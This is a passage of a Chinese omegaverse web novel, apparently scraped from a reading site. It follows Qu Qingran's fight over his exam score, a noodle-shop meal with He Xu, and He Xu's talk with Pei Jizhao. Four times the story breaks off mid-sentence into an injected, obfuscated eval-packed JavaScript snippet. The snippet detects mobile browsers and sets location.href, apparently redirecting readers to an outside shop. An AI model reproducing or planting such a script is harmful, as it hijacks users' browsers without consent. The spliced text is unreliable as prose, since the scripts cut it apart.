贺栩:“不瞒你说我现在其实很冷静,你冷静吗?” 许文奇颤巍巍望向自己被他捏的“咔咔”响的肩关节,“冷静不了一点......” 贺栩:“那你得冷静冷静。” 许文奇:“......” 他莫名其妙变成了瓮中之鳖,托贺栩这明目张胆拉偏架的福,一旁的曲青然倒是落了个轻松,调整了一下情绪认真道:“许主任,我只是想查个分,有那么难吗?我没有跟任何人过不去的意思!” “我们考试办也只管阅卷算分。”许文奇哭丧着脸道:“你有什么过得去过不去的,跟我们没关系啊!” 曲青然还想说话,却听贺栩沉吟道:“许主任,我知道你们考试办也只是下属机构,实在解决不了的问题或许可以向上咨询呢。” 许文奇一愣。 “不然你摸黑过河,真闹出什么舆情上头说自己全然不知情,考试办岂不是白给人背锅。”贺栩似笑非笑道。 许文奇浑身一个机灵,脸色渐渐苍白。 像是被戳中了痛点,许文奇眼珠左转右转,经历了几番天人交战,末了望向曲青然。 “你给我留个电话。”他低声说道:“傍晚之前手机保持畅通,等我回复。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358020|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 贺栩撤回了一辆车,提拉斯得以释放,许文奇连检查保险杠的心思都没有就开车绝尘而去。 曲青然无声目送,听见贺栩道:“走啊,上车。” “去哪儿?”曲青然说。 “不知道。”贺栩拍了拍车门,“但这波罚款是免不了了,估计还得扣分,我这都是为了你,该不会不想负责吧?” “我没驾照。”曲青然磕巴了一下,脸颊微红,“钱暂时也......” 他咬了一下嘴唇,感觉再说下去就有推搪回避的嫌疑,倔强道:“但我记在心里,以后会还的。” “别以后了,先上车。”贺栩说。 曲青然拗不过他,只好上车。 SUV启动,马力十足,带来强烈的推背感,曲青然坐在副驾驶座上,看着前方的车一辆一辆被甩,发现跟祁琛相比贺栩简直是个变道狂魔,有空就插,颇具规模的一辆SUV愣是给他开的仿佛车流里的一条剑鱼,非但不笨重还灵活迅猛。 “你胆子真大。”曲青然忍不住说:“不怕被撞吗?” “不会撞。”贺栩说。 “你好自信啊。”曲青然说。 “我有判断力,当然了,判断力是基于技术水平过关的情况。”贺栩说:“人如果同时具备高超的能力和精确的认知,这个人一定是做大事的。” “你刚刚为什么跟许文奇说那番话?”曲青然道。 “什么人干什么事,有的答案不该你去找,就让该找的人去找。” “那你怎么就确定许文奇一定会尽力帮我找?”曲青然道。 “他不是帮你,是帮他自己。”贺栩说:“人在帮自己的时候最努力。” 顿了顿,他道:“其实他今天也算是给了你答案了。” 曲青然微微一怔。 “你的卷面没有问题。”贺栩说:“问题出在其他地方。” “其他地方?”曲青然震声,旋即凝眉思索道:“除了卷面分,那就只剩下面试和体能测试了,面试大家都是走过场啊,难道是体测有什么不过关的?” “你的身体,我不了解。”贺栩道。 这就又陷入了死胡同,氛围僵住,曲青然倍感泄气,有些颓唐的向后靠,后脑勺抵着座位的头枕,恍惚的注视着前方拥堵的车流。 他身上一直绷着一股劲儿,像尖锐扎人的矛,在此刻却有短暂的松懈疲软,令他看起来不那么张牙舞爪,变得毛茸茸的,甚至有些可怜。 “为什么要帮我?”他喃喃的说,“我之前还骂过你呢。” 贺栩闻言轻挑狭长的眼捎,眸光流转挪移。 他盯住曲青然轮廓流畅的侧脸看了好一会儿,慢悠悠扭过脸道:“吃瓜是人类的天性。” 11. 第 11 章 虽然跟贺栩认识的时间不长,但对于这家伙嘴上没正形这件事,曲青然好像已经接受良好。 他的眼神聚了点焦,略无语道:“懂了,纯闲的。” 他动了动目光,SUV银黑相间的中控台单调又空旷,别说装饰铺垫,连一丝杂色也无,曲青然冷不丁就想起祁琛的那辆新车,中控台上贴了防刮的磨砂膜,通风口还装有奢牌的扩香器,将生活的品质感展现到了极致,一如祁琛这个人的行事作风,处处都要花团锦簇。 而贺栩......给人一种“活着就行,无所吊谓”的粗糙感。 同样是Alpha,差距还真大。 “想什么呢?”贺栩敏锐道。 他实在E的吓人,又明察秋毫到了一种有攻击性的程度,曲青然木着脸道:“在想你这个人不穷,长得也不算丑,怎么能闲成这样?” 贺栩:“唔——不知是不是吾辈的错觉,何故觉得阁下只言片语里竟藏有一丝同情?” 曲青然道:“雀实。” 贺栩:“......” 曲青然:“我兄弟条件跟你差不多,也是个Alpha,脸帅身材好,初中时候情书就收的没停过,早晨做广播体操都有人跟他搭讪。” 用脚指头想也知道他说的这个兄弟是谁,贺栩轻轻挑眉道:“你怎么知道我就没人搭讪?” 曲青然油盐不进:“你有没有人搭讪我不知道,但你没朋友是肯定的。” 贺栩:“......” 曲青然还真就在认真的思考,“如果不是性格有问题,多半是有什么其他的硬伤在身上。” 贺栩默了两秒,“不知道,我的素质很曼妙。” 曲青然:“?” 曲青然:“啥意思?” 贺栩:“素质缺一点你人已经在车底了。” 曲青然:“......” 对骂归对骂,但对方到底是帮自己见到了许文奇,曲青然思来想去,对贺栩道:“我请你吃午饭吧。” “你不是没钱吗?”贺栩奇道。 曲青然没吭声,脸颊有点儿红,伸手指路。 车开进一条小巷,道路变窄,路面也没那么干净平坦了,随处可见菜叶子和水渍,来往行人渐多,煞是喧闹,两边一遛弯都是门面房,卖卤菜的做足疗的,粗糙的招牌花里胡哨,应有尽有,道路上也没个指示牌,小孩儿和没栓的小狗窜来窜去。 贺栩不得不放慢车速,四下寻找停车位。 前方有一家“大龙面馆”,不大的店面硬是用竹竿子和PVC门帘在外头又扩出一个棚,里头坐的满满当当,门帘掀开,走出一个围着围裙的中年男人,挥手招呼道:“往前开往前开。” 贺栩按照他的指引沿边停车,下车就看见那汉子小跑着追上来,拍胸脯道:“放心停,这片儿我熟,不会贴罚单的!” “谢谢叔。”曲青然小声说。 “瞧你这孩子!”冯大龙一巴掌拍在曲青然背上,给他人拍呲出去两三米:“叫你多少回了‘来吃面来吃面’,嘴皮子都磨破了,一次都不肯来!也不知道见外给谁看呢!” “老白吃白喝像什么样子......”曲青然嘟囔。 “一碗面条子能值几个钱啊!”冯大龙嗓门超大,“我当时心跳骤停要不是你小子给我按按按按回来,我现在坟头草都两米高了,我命还不值几碗面条子了?” “多少年前的事情了你嚷嚷啥啊嚷嚷!”曲青然捂着耳朵面红耳赤,一跺脚转头跑了。 冯大龙指着他仓皇逃窜的背影直发笑,转头就对贺栩道:“阿青这小子,平时脸皮厚的跟城墙似的,偏偏就是不经夸!一夸他就不好意思就炸毛!” “怎么个情况呢?”贺栩乐道。 “嗐,就几年前这店刚开的时候我张罗装潢熬了几个大夜,不争气的心脏说停就停了,那时候刚早上五点不到,街上一个毛人都没有,天都没亮呢,真就无偿索命,一条腿踏进鬼门关了。”冯大龙扼腕道:“还好阿青路过,冲上来给我做胸外按压,按了整整四十分钟,按到救护车来,活活给我按回来了!” “胸外按压很吃体力的。”贺栩也是没忍住揉了一下耳廓。 “是啊,当时那来的大夫都惊呆了,说这小子劲儿大,动作做的还标准,所以大大提高了成功率,最牛逼的是,一般人就算学了基本步骤,看到人忽然躺地上了也不敢贸贸然上去按啊。”冯大龙说。 “嗯,有人肋骨不结实容易按断。”贺栩沉吟道:“遇人不淑的话被讹上就惨了。” “就是说啊!”冯大龙一巴掌拍在手心里,眉头紧皱,“我后来还跟他说呢,我说虽然你救了你冯叔胜造七级浮屠!但是就这世道以后还是少做这事儿吧,冯叔我眼睛一闭过去了也就过去了,也没啥痛苦,但好孩子发善心被畜生祸害了,那冯叔我要心疼死了!” “他什么反应?”贺栩问。 “他骂我有病。”冯大龙直白道。 贺栩:“噗嗤!” “我跟你说他就是个犟种!”冯大龙滔滔不绝,一边拉着贺栩往店面里钻一面吐槽,“他在他那个舅舅家住的跟孙子一样,三顿饭有两顿吃的都是剩饭,我跟他说以后让他来我店里吃,我给他煮新鲜面条子,蛋要几个加几个,大排卤肉溜肥肠尽他吃,这多好啊!死孩子偏不!跟我说什么他舅舅拿了他爸妈的赔款供他吃喝是天经地义,只要他吃的顿数够多就能吃回本!但是吃泔水吃回本有啥意思啊?也不光荣吧!” 贺栩刚要发表意见,就听那头传来曲青然气急败坏的叫声:“说完了没啊!要说几次啊!逮到个人就说一遍!剩饭剩饭怎么还变成吃泔水了!!” “你们家那剩饭跟泔水也没差吧!”冯大龙心虚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358021|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今天又说爽了,短暂的闭了嘴,憋着笑将贺栩推进店去。 店里窗明几净,开了制冷空调,厨房是开放式的,几口不锈钢的大小锅盆连续运作,面条在沸水里上下翻飞,统统都看得见,几个厨工分工合作,捞面条的捞面条,煮臊子的煮臊子,装碗的装碗,动作麻利又井然有序。 贺栩坐下,冯大龙热情的替他与曲青然掰了筷子,大声吆喝道:“来两碗大满贯!” “得嘞!!”厨工怒吼。 “大满贯是什么?”贺栩揉了揉被冯大龙震的发痛的耳膜,苦笑。 “大排腰花肥肠皮肚油爆鳝丝加三鲜浇头!”冯大龙笑眯眯道:“包你们吃的满意。” 贺栩看了眼墙上贴着的菜单,十几二十块的单价相当接地气,走的是薄利多销的路子——看得出来这是冯大龙能拿出来的最丰盛的招待了。 “谢谢。”他笑道。 “我吃不了这些!”曲青然臭着脸说:“你给我打个蛋就行。” “去你的,敢情上回喝三碗的不是你是吧!”冯大龙骂骂咧咧告状,“就他,上回晚自习结束回来被他舅喝多了关门外头,饿的那个熊样,连喝了三碗面条子下去,撑的跟那个鸡翅包饭似的,现在跟我这假客气!” 曲青然:“......” 贺栩脑海里有画面了,还不止一张,感觉冯大龙再抖落抖落曲青然就离社会性死亡不远了,连忙推了对方几把,“好好好,就大满贯,吃不了我打包带走也是极好的。” “这还差不多。”冯大龙哼哼唧唧意满离。 墙角桌上有现泡的顾客自取的凉茶,贺栩起身去倒了两杯,递了一杯给曲青然。 曲青然闷不吭声的接过,喝了两口继续发呆,他既没有借着冯大龙的话头自我炫耀吹捧,也没有半点要聊原生家庭的意思,很是安静,贺栩也不追问。 二人难得安静的对坐了须臾,热腾腾的面条端了上来,劲道的小刀面煮的半透明,被酱油淋过的颜色像姜黄的糯玉,一根根界限分明,裹着鲜香的臊子,在筷子上弹爽的滑动。 冯大龙给的大满贯真是一点没虚报,堆成了肉山肉海,贺栩用筷子拨了拨,发现每一块肉都是新鲜的好肉,每一样单拎出来都够成一盘菜的了,真真是叫人无从下口了。 “吸溜吸溜” 对面的曲青然已经开动了,贺栩抬眸瞧他,发现冯大龙这个“喝”字一点儿没用错,清秀的准男大大马金刀的坐着,一手捧着碗一手持着筷,清瘦的腕骨绷的紧紧的,将一捆捆面条串子提到嘴边,大嘬特嘬。 他的面孔半埋着,黑发凌乱垂落,掩住高挺的鼻梁。非但不显得粗俗,反而有种出奇的俊俏。 面条热乎,蒸气烫的他的喉结四周泛红,衬的脖颈愈发纤韧白皙,贺栩的目光辗转,定住,脑海里古里古怪的蹦出两个字。 想揉。 12. 第 12 章 “哗啦” 贺栩猝不及防的起身,后膝顶的凳子往后挪了几寸,曲青然闻声抬眼,眼底略有疑惑。 贺栩道:“我出去上个厕所。” “哦。”曲青然没曾多想,“你要纸不?” “不用。” 贺栩的腿实在是长,两步就出门去了,姿态略显匆匆,曲青然撇撇嘴,放下碗,将贺栩随手扔在桌缘摇摇欲坠的筷子往里推了推,忽听“砰”的一声。 是一个外卖员,手里大包小包,艰难的掀了门帘子进来,毫无预兆的像是崴了脚,重重的摔倒了,七八个外卖袋子全洒了,各色奶茶溅了一地,旁边拿小料的女孩子被吓到,发出短促的尖叫。 而与此同时,厨工正端了煮好的面条出来上菜,手莫名剧烈发抖,他心慌意乱的转身将餐盘放在灶台上,两手竭力撑着桌缘,面色发白。 紧迫焦灼的氛围在狭小的空间内迅速弥漫,不少顾客的神情都略显得痛苦,捂胸口的有捂脑袋的也有,那外卖员几次想要撑着地面站起来,竟都没能成功,曲青然看不下去了,疾步上前去搀扶,呼吸间隐约嗅到一缕淡淡的酒气,像是于酒窖里久藏的干红葡萄酒。 他抬眼看了眼饮料柜,矿泉水果汁豆浆酸奶,连瓶啤酒都没有,这路边摊的面馆子里哪有什么干红? 那厢冯大龙从后厨冲出来,二话不说将所有的窗户都打开,PVC的门帘子卷起,一时间面店门户大开,暖热的风灌入,将蓄积的冷气冲散,还有各种各样的气味。 随着室内顷刻间的大换气,曲青然明显感觉那外卖员的身体不再颤抖,借着自己的力量站起来,磕磕巴巴的说“谢谢”。 “不要慌不要慌,通通风就好了!”冯大龙拿了拖把来拖地,嗓音洪亮的吆喝,“有谁觉得不舒服吗?有不舒服要说话,附近有社区医院的我们可以接送!然后大家伙儿检查一下自己的抑制器!看看有没有谁的设备没电了——” “什么情况?”曲青然丈二和尚摸不着头脑,追问道。 “有Alpha的信息素外溢了。”冯大龙靠近他,敲了敲胀痛的脑壳,小声回答。 “信息素外溢?”曲青然说。 他当然知道信息素外溢是什么意思,Alpha的信息素不仅会对Omega产生诱导发情的作用,还会对等级低的Alpha产生压制,所以刚刚这个外卖员才会瘫在地上爬不起来,冯大龙之所以还能活动自如是因为他以前是当兵的,信息素等级不算低。 当今信息素管控的技术相当成熟,抑制环基本上是A和O随身必备的东西,法律也规定在公共场合随意释放信息素要量刑,所以刚刚那种混乱的状况并不常见。 “很多吗?”曲青然问。 “一点点吧。”冯大龙镇定的说:“通会儿风就好了,我估摸着应该是谁的抑制环忘记充电自动关机了,换个备用电池装上再开机就行,问题不大。” “我觉得问题不小呢。”曲青然回想起刚刚一众人犹如得了瘟病般的痛苦表情,皱眉。 “主要是这人的信息素等级有点太高了,瞅着我刚刚也觉得头痛,这等级起码得是S往上,不多见,所以一点点的浓度就让很多人不舒服了。”冯大龙说。 信息素等级与基因等级相匹配,由低到高按照字母倒序排列,最高级别为S级,上头还有S+,S++等,等级越高的人往往体力脑力等水平也更为卓著,信息素的威力也更强,曾经有些工作的招录会设等级限制,后来被批含有“性别歧视”就被明令禁止,但人与人之间的确存在着显著的差异。 “其实他应该是立刻就觉察不对了,所以没释放太久,你瞧现在,已经闻不见什么了。”看曲青然表情严肃,冯大龙宽慰道:“哎呀呀,这个时候就觉得还是当Beta好啊,完全不会有这种困扰。” “Beta好个屁。”曲青然眯眼:“回头找工作的时候就有的说了,体力不如Alpha,相亲的时候又有的说了,没有Omega能生。” “这就叫善恶同因,哪能好处都让一个人占了。”冯大龙打趣儿。 通风通的也差不多了,室内热的人冒汗,众人的神色也回复正常,冯大龙关上窗又把空调冷气打到最猛,重新投入忙碌的工作,这场意外就像一支短暂的小插曲,发生的突然,结束的也无声。 曲青然转眸,看见那外卖员呆呆的立在那儿,捧着手机不知所措。 “你还好吧。”曲青然关切道。 “还,还好。”外卖员尴尬一笑,“就是在,在联系单主赔钱,单数有点多,要一个个找......比较花时间。” “全要你赔吗?”曲青然诧然说。 问完他就觉得自己问了个白痴问题。 虽说外卖员是遭遇了无妄之灾,但单主们的损失也是实实在在的,平台规定如山,不是这外卖员一人所能撼动。 人在面对意外时真的很无力。 外卖员笨拙的戳完手机屏幕,抬头恰好对上曲青然同情的眼神,笑了笑道:“没事的,每天跑单子哪有一帆风顺的呢,也是我不好,这两天没睡饱,腰酸背痛的站不稳,刚刚要是扶一下墙也就没事了。”顿了顿他找补道:“就当破财消灾了呗。” 曲青然扁了扁嘴,依旧无法释怀。 他垂眉耷眼,反倒给外卖员看笑了。 “哎呀,小帅哥别这样嘛,你以后就会知道人生不如意十之八九,挫折大大小小有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358022|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇呢!” “可为什么偏偏是你呢?”曲青然说。 “不道啊!”外卖员说:“但要是桩桩件件都难过的要死,日子还过不过了,啊呀呀!不死人的都不算事儿!”他匆匆挥手,“好了不说了,我要去抢别的单子了,小哥谢谢你啊!” “你今天再跑还能回本儿吗?”曲青然苦巴巴道。 “不跑才是真回不了本呢!跑的话,万一有打赏呢!”外卖员说:“哎我靠!真有人给我打赏了!” 他驻足原地,骇然道:“一千块,妈呀我赔这才赔了一百多!!”他四下转了一圈,意图寻找有谁刚刚放下手机,却实在没有方向,最终只能囫囵拱了拱手,朗声道:“谢谢金主爸爸!!好人一生平安啊!!” 他开心的哼起歌来,骑着电驴呼啸而去,鲜艳的外卖服连周围腌臜的街道都平添了几分颜色,曲青然目送良久,心中有感慨万千,听耳畔有人道:“再看成化石了。” “你才化石。”曲青然回眸,见贺栩在转手机。 这家伙嘴里果然憋不出好屁,他忍不住翻了个白眼,“你干嘛去了?去这么久,面都坨完了。” “说了去上厕所。”贺栩说:“不过上厕所确实不能带手机,容易忘时间。” 曲青然打量了一下男人,英俊的面孔上依旧是那副懒洋洋的神色,发梢残留着水渍,湿漉漉贴着皮肤,像是洗了好几把脸。 上个厕所狂洗脸做什么? 曲青然在心里小声逼逼。 贺栩去问冯大龙要了几个打包盒。 “你有事儿?”曲青然看出端倪。 “嗯,待会儿有点事。”贺栩将面汤和菜分别打包,放进后备箱,莞尔道:“放心,这些我晚上回去热热吃,不会浪费的。” “你爱吃不吃,跟我没关系。”曲青然心口一热,别开目光。 贺栩轻声哼笑。 上车后,曲青然道:“你知道么?刚刚有个Alpha的信息素泄露了。” 贺栩目不转睛的倒车:“哦?” “那个外卖小哥就摔了,赔了好多钱。”曲青然一手托腮说:“不过后来他又被打赏了更多的钱,我猜是那个犯错的Alpha心里过意不去,偷偷给他的。” “你怎么就确定一定是那个Alpha给的?”贺栩道。 “不确定。”曲青然说:“但我乐意这么想。” 贺栩轻轻“啧”了一声。 “你把我放葛家巷路口就行,我回头自己走进去。”曲青然说。 “行。”贺栩说:“对了。” “嗯?” “你有没有考虑过。”贺栩说:“如果真的落榜了,下一步怎么办?” 13. 第 13 章 这话像一记重锤,砸在曲青然堪堪轻松的天灵盖上。 他耳朵甚至有短暂的嗡鸣,旋即惶惶然垂下眼睫。 ——他还真没想过这个问题。 要知道他从未怀疑过自己的能力,无论是备考还是参与考试的过程,他对每一个细节都充满了信心,自认为没有一点发挥失常的地方,完成度比堪称百分之百。 成绩就是能力的体现。 故而他始终觉得只要考试办查到了自己的分数,复核并披露后,一切就能有分晓,一切就会尘埃落定,回到正轨。 可如若不是这样呢? 如果结局没有改变,他要怎么办?他会怎么样? 这些不在他的认知范畴之内,他想不到,又或者说,他不敢想。 “其实如果不是非要去首军大不可,以你的成绩报个重点综合性高校的医学院绰绰有余,毕业出来的工作也不会难找。”贺栩说。 “不,不一样。”曲青然说:“军医和普通医生,不一样。” 他的语调低沉,斩钉截铁。 贺栩暗中挑了挑眉。 也是,贵族专业金饭碗,这绰号可不是白叫的。 跟军队编制挂钩的所有职业拿出去都是不一样的,哪怕只是个普通的文职或是会计,是军队里的亦会叫人高看一眼。 曲青然这样的草根出身,正如冯大龙所言,从小不被人重视,一直活在自卑和被打压的环境里,会将面子看的比什么都重要,完完全全超过里子也是有的,他们往往内卷半生,就为了有朝一日能出人头地,在家族聚会或是别人茶余饭后的谈资里成为被仰视夸赞的那一个。 说起来是虚荣和无意义,但其实也无可厚非,贺栩尊重所有人,并不点破,想了想道:“你如果执意要留在首军大不可,就图那一个头衔,那——还有一个办法。” “什么办法?”曲青然立刻发问。 果然如此。 贺栩说:“改报护理学院。” 曲青然:“?” 曲青然:“当,护士?” “嗯。”贺栩不置可否。 “我,男的!当护士!”曲青然指着自己的鼻子,音调拔高。 贺栩面无表情道:“什么年代了别告诉我你还有刻板印象。” 曲青然不吭声。 他的反应也在贺栩的意料之中,贺栩淡淡道:“首军大所有专业每年都是热门,除了护理,作为一线岗护理又一直很缺人,以你的笔试分数,改报护理滑档概率约等于零。” “......” “而且你这个人又夯力气又大,都说护理那边儿是女的当男的用男的当牲口用,你去了估计会蛮受欢迎的。”贺栩继续冷静锐评:“万一撞了狗屎运能转专业那就是以小博大赚翻了哦?” “......” 曲青然麻了,头靠着窗户,半天才挤出一个难看的笑容,“谢谢你,提议很好,下次别提了。” - 将曲青然送到目的地,贺栩看了眼时间,改道东城区。 晚上八点半,蔷薇大道上才刚刚旭日初升,夜店一条龙纷纷开张,五彩缤纷的灯牌争奇斗艳。 贺栩在震天的乐声里泊车,跟前是一座高耸的复古钟楼,招牌上的“Falling Sun”又被顾客们称之为坠日之塔。 一楼是剧院,正在上演音乐剧《红与黑》,卡斯是近期正在环球巡演的一流A卡,唱腔精妙,情感丰沛,贺栩沿着镂空的旋转楼梯直接上了二楼,被深红色的流苏帘幕合围的雅座里坐着一个男人,头发微卷,眉目浓郁精美似墙上的油画,上身一件羊腿袖衬衫,下面是高腰的西裤,风姿俊雅。 这地方绝对是看剧的最佳视角,连音箱分布都恰到好处,下面掌声如沸,此处却鼾声如雷,贺栩垂目望着玻璃小几上放着的一排SHOT,挑了挑眉,次序仰头干了。 “这么喝法你待会儿打算怎么回去?” 贺栩放下SHOT杯,笑盈盈的注视着裴寄昭。 “显然我就没打算回去。”他懒懒的往对面的靠椅上一坐,长腿交叠翘上桌缘,“清风,晚月,螺丝起子,独占,这期调的都很爽口。” “不知道,反正我不爱喝。”裴寄昭说。 “不爱喝你还卖。”贺栩说。 “我不爱喝不代表它不赚钱。”裴寄昭从椅子下面掏出一盒奶,撕开瓶口插上吸管,边吸边吐槽,“就像楼下,叽里咕噜唱的我都睡好几轮了,票居然能炒出天价。” “也是,你的喜好跟大众跟不太一样,你看中的东西一般都爆雷。”贺栩说:“就比如那个K105——” “住口。”裴寄昭瞪视他,“——我之前还看中你了呢。” 贺栩“嘿”了一声假笑,裴寄昭立马熄火了,字里行间都是被打脸的痛惜,“我靠啊,谁能想到你生了这么一副皮囊有这么牛逼的基因等级居然是个——” 贺栩:“不讲不讲!” 裴寄昭:“......” 他觑着损友这张荷尔蒙爆棚的帅脸,形状姣好的唇角上扬着,没有半点羞愧之情,忍不住道:“所以你今天干嘛来了?” “找你唠嗑。”贺栩说。 “难为你还有这种闲情雅致。”裴寄昭冷嘲。 “你敢说你对我最近的生活没有半分探索欲吗?”贺栩笑嘻嘻说。 裴寄昭停顿了两秒,猛地倾身,将帘幕一拉闭合,八卦之火熊熊燃烧,“所以你后来到底有没有回馈一下你那个二逼弟弟?” “没有。”贺栩说。 “你就不怕他翻无人机录像的时候发现K105是你扔上去的?”裴寄昭道。 “如果他操控无人机真的那么细致就不会给我机会‘三步上篮’。”贺栩不以为意说。 “也是。”裴寄昭思忖道:“我都没想到你会徒手投掷K105,那小子就算亲眼瞧见了估计也不会相信。” “我之前是不是跟你说过,我不太明白贺潮生与贺鸣金父子为什么这个时候把我召回明都。”贺栩淡声道。 “是,你说过。”裴寄昭说。 “我感觉贺潮生压根不知道这件事。”贺栩说。 裴寄昭诧异道:“你爸不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358023|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?可是那封信不是你爸亲手写的吗?” “这年头笔迹模仿起来很容易吧,熟人做主的话就更容易了。”贺栩把玩着一只SHOT杯:“我怀疑是老爷子的手笔。” “还得是隔代亲啊。”裴寄昭说。 “非也。”贺栩摇头:“如果我告诉你境外特招那场考试是我自己考进来的,你信不信?” “什么?!”裴寄昭骇然道:“你自己考的??不是免试吗?” “我去考场了还能有假?”贺栩说:“满分六百,我考了五百八,因为有一道大题是明都时政,我人不在明都不了解。” 裴寄昭震惊道:“不是说你是特批免试入学,这个机会还是你家老爷子用当年一等功功勋给你换来的!” “这就是微妙之处了。”贺栩不咸不淡道:“对外都这么传,他一把岁数为了家族兴旺拼命让我认祖归宗,不惜用年轻时搏命的功勋去换,但实际上他只是帮我填了一张考试报名表。” “你的能力我是知道的,但外人不知啊,境外特招的试卷跟统考大差不差,难度不小,他就不怕你考不上么?”裴寄昭说。 “或者说他其实并没有那么在意我能否考上,能回来固然好,不能回来也不打紧。”贺栩说。 “难怪房子不替你张罗,从贺家被赶出来也不替你发声。”裴寄昭沉吟道:“这老头打的什么主意?” “那天我从贺家离开,发现贺家没人支会他这件事。”贺栩沉吟道:“后来在电话里他得知我走了,情绪很是激动,一个劲儿的为我鸣不平。” “光鸣不平有什么用?他应该主动站出来替你做主!”裴寄昭震声说:“难不成他还希望你一个人去单挑贺家三口,自己美美隐身?” 贺栩点了点手指:“哈!” “......不会吧!”裴寄昭倒吸一口冷气道:“贺老头在贺家失权至此了?居然沦落到要利用你去敲打你爸一家三口?” “谁知道呢。”贺栩双手枕在脑后,望着天花板。 “把你当傻子了吧!”裴寄昭说:“你可别蠢到去得罪你后妈跟你继弟啊,白惹一身骚,背后也没人给你撑腰。” “嗯。”贺栩说:“在搞清楚一切之前,我会按兵不动,哦对了,再托你办件事。” “什么?”裴寄昭说。 贺栩摸了一下胸口,拽下那枚银色的蛇骨链拍在茶几上。 “帮我装个抑制器。”他嘟囔道:“太久不带我都快没这个习惯了,做成别的款式容易忘,装这个上头吧。” “?” 裴寄昭的双目渐渐圆瞪,看他的眼神像在看一只外星狗。 “何意味?”贺栩说。 “十年。”裴寄昭幽幽的说:“从我认识你开始到现在,十年,你就没有过易感期。” 贺栩:“......” “那年老子在你面前脱光了发大水,你把老子送去了医院,去之前给老子穿上了秋裤毛裤棉裤绒裤,保暖内衣线衣毛衣羽绒马甲和棉袄还给我塞进了一双雪地靴里!”裴寄昭怒吼出声:“养胃如你要他妈的抑制器做什么!” 14.第 14 章 贺栩破天荒的没再动用他那张巧舌如簧的嘴,坐在那儿石化成一尊俊美的大卫雕像。 裴寄昭的眼神几乎快把他杀穿了,也不怪他对贺栩有如此怨念乃至执念,身为曾经东南亚雄踞一方的黑市龙头商贾黑桃king,裴寄昭年不过三旬就已经家财万贯,再加上容貌冶丽,方圆百里都有他的艳名,身边的追求者多如牛毛。 偏偏裴寄昭谁也看不上。 虽然是个Omega,但他有的是头脑和手段,人一旦达到了某种境界,看周围的普通人就不再像人,更像是一些会说话的动物,裴寄昭时而也会觉得高处不胜寒,想要找个合眼缘的ALpha做配偶繁育子嗣,等等等等,就等到了贺栩。 现在回忆起来,跟贺栩的相遇实在谈不上体面。 十几个茹毛饮血的海盗抢登他们的船只,杀死了大副和水手,占领了甲板,浓稠的鲜血蛇一样蔓延,浸透甲板上的每一个缝隙。 斜月高悬,在黑色的海面上洒落一片苍色。 海盗们在甲板上高歌纵舞庆祝胜利,脚步声“咚咚”震耳欲聋,在他们的身后有一张罕见的东方面孔,唇红齿白,高挑的身形与周围的虎背熊腰们形成了鲜明的对比,单薄宛如一张纸,可他往前踏了一步,所有海盗都安静了下去,齐整的后退,给他让出一条道来。 绑带的靴子将裤筒收紧,衬的小腿长而直,大腿的线条健硕流畅,上半身是一件宽松的衬衫,袖口束的规整,甚至连防弹衣都没有穿。 在这群里他最不像个海盗,非要说的话,简直像个出海度假的贵族。 裴寄昭作为商运队伍的头目此刻不得不站出来与之谈判,出发之前他早已打听过这名为“六区”的海域有多乱,故而特意带了大把雇佣兵,却没想到在这位年轻的海盗王面前,退役的海战队也不堪一击。 海盗王走近,从随身携带的防水包里抽出一张合同,递到裴寄昭眼前,说了一口标准流利的国语:“裴先生,看看如果合适就签字。” 裴寄昭就差用眼刀捅死对方,素闻海盗凶残贪婪,野蛮粗俗听不懂人话,如果真的狮子大开口或是有更逾距的提议,他会选择直接把船炸沉,然后乘小艇开逃,就当这趟白来了。 但当他看到合同上的内容时,他诧异了。 一条条一桩桩都是十分标准的商务条例,索要的货物及金额量并不大,甚至将他们这趟贸易的盈亏都计较在内,给出了一个相当理想的额度。 以裴寄昭的经商头脑,这一趟本就是暴利,肥水留一点给外人无关痛痒,只是能写出这样一张合同,其无论是文化水准还是审计头脑都绝非普通,远超传言所叙的“野蛮粗俗”,裴寄昭抬眼再看海盗王这张脸,只觉得像是镀上了一层璀璨的星辉。 